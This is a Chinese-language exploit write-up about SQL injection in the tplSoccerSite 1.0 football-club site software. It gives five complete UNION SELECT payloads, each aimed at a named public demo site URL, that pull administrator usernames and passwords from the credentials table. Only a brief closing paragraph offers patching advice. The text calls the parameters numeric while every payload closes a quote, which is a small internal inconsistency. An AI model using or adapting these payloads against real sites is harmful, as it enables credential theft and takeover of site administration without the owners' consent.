近期,安全研究人员发现tplSoccerSite 1.0存在一个远程SQL注入漏洞,影响范围涵盖player.php、index.php、opponent.php、matchdetails.php和additionalpage.php等多个页面。该漏洞的根本原因在于这些页面未能对id和opp参数进行有效过滤,攻击者能够直接通过注入语句获取后台数据库中的敏感信息,例如管理员账号与密码哈希。以下将详细梳理漏洞细节与利用方法。
漏洞概述
受影响的系统版本:tplSoccerSite 1.0(免费版)
涉及的文件及其参数:
index.php中的id参数player.php中的id参数opponent.php中的opp参数matchdetails.php中的id参数additionalpage.php中的id参数
所有注入点均为数字型参数,攻击者可通过闭合SQL语句并结合UNION SELECT来提取数据。数据库表结构中包含一个专门存储用户凭据的表tplss_passwords,其中的PasswordUser和PasswordPassword字段直接暴露了管理员账户信息。
漏洞利用示例
以下是在Tampere United官方演示站上验证通过的注入payload,每个payload均利用CONCAT_WS(0x3a,...)将用户名和密码用冒号拼接后返回。
1) index.php
www.tpl-design.com/tplsoccersite/tampereunited/index.php?id=-1' UNION SELECT 0,CONCAT_WS(0x3a,PasswordUser,PasswordPassword)MrSQL,current_user,0,0 FROM tplss_passwords/*
2) player.php
www.tpl-design.com/tplsoccersite/tampereunited/player.php?id=-1' UNION SELECT 0,0,CONCAT_WS(0x3a,PasswordUser,PasswordPassword),'MrSQL',0,0,0,0,0,0,0 FROM tplss_passwords/*
3) opponent.php
www.tpl-design.com/tplsoccersite/tampereunited/opponent.php?opp=-1' UNION SELECT CONCAT_WS(0x3a,PasswordUser,PasswordPassword),'MrSQL',0,0 FROM tplss_passwords/*
4) matchdetails.php
www.tpl-design.com/tplsoccersite/tampereunited/matchdetails.php?id=-1' UNION SELECT 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,CONCAT_WS(0x3a,PasswordUser,PasswordPassword),0,0,0,0,0 FROM tplss_passwords/*
(注意:此注入点需要构造的列数较多,需根据表结构精确对齐38个字段)
5) additionalpage.php
www.tpl-design.com/tplsoccersite/tampereunited/additionalpage.php?id=-1' UNION SELECT CONCAT_WS(0x3a,PasswordUser,PasswordPassword),'MrSQL',0 FROM tplss_passwords/*
官方下载与修复建议
该软件的1.0免费版仍可从官方页面获取:https://www.tpl-design.com/download/tpl_ss_10_free.zip。若您正在使用此版本,强烈建议立即升级或自行修补所有参数输入点,对id、opp等参数实施严格类型校验(如强制转换为整数),并采用参数化查询或预编译语句。
该漏洞影响范围较广——只要攻击者能访问到任意一个受影响页面,即可直接拖取整个用户表。更糟糕的是,密码字段似乎未经过加盐哈希处理,一旦泄露,相当于管理员权限直接拱手让人。
